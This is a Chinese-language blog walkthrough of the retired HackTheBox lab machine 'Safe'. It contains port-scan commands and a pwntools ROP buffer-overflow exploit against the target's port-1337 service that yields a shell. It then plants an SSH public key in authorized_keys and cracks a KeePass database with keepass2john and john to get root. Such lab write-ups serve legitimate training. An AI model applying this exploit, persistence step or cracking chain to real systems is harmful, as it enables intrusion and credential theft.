• HTB-靶机-Safe


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.147

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.147 -o ./Safe-autorecon

    也可以使用官方的方法进行快速的扫描

    masscan -p1-65535 10.10.10.147 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.147
    或者
    nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.147
    nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.147

     

     

    扫描看到开放了3个端口,22,80,1337,首先使用curl访问一把80端口,发现一重要信息

    提示有个文件可以下载下来分析,文件名称为myapp,并且此文件可能就是运行在目标靶机上去,并且监听1337端口,我先把此文件下载下来

    开始分析此二进制文件,详细查看这篇文章把,https://0xdf.gitlab.io/2019/10/26/htb-safe.html  下面是exploit代码

    from pwn import *
    
    e = ELF("/home/kali/Downloads/htb/safe/myapp")
    p = remote("10.10.10.147",1337)
    
    payload = "A"*(120)
    payload += p64(0x000000000040120b) #pop rdi; ret
    payload += p64(0x404050) #writable address 
    payload += p64(0x401060) #gets@PLT
    payload += p64(0x000000000040120b) #pop rdi; ret
    payload += p64(0x404050) #writable address
    payload += p64(0x401040) #system@PLT
    payload += "x90" *50
    print p.read
    print p.read
    print "Invio Payload"
    p.write(payload+"
    ")
    p.write("/bin/bash
    ")
    print p.read()
    p.interactive()

    执行exploit成功拿到低权限shell

    首先写入一个公钥

    写个kali的公钥进去,通过私钥远程登录
    
    echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali' > authorized_keys

    通过私钥ssh登录到目标靶机上,登录成功之后直接进入到用户user的家目录,发现当前目录下有很多图片和加密的keepass文件,通过scp拷贝到本地kali

    使用命令keepass2john命令将其转换为能够被john识别的hash,然后使用john进行破解

    keepass2john MyPasswords.kdbx  > MyPasswords.kdbx.john; for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.john

    开始破解hash

    john MyPasswords.kdbx.john /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt

    破解出来的登录keepass的登录密码,使用命令行工具kpcli登录keepass读取root账号的密码
    bullshit
    使用sudo apt-get install kpcli  安装工具kpcli

    成功拿到root密码直接su切换至root用户

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    线性表
    面试题
    进程与线程的区别
    双亲委派模型&动态生成Java类
    springboot优势
    Python3数据结构
    GC算法
    JVM的跨平台特性
    HashMap#put (K key, V value)过程白话文
    java内存模型
  • 原文地址:https://www.cnblogs.com/autopwn/p/14632319.html
Copyright © 2020-2023  润新知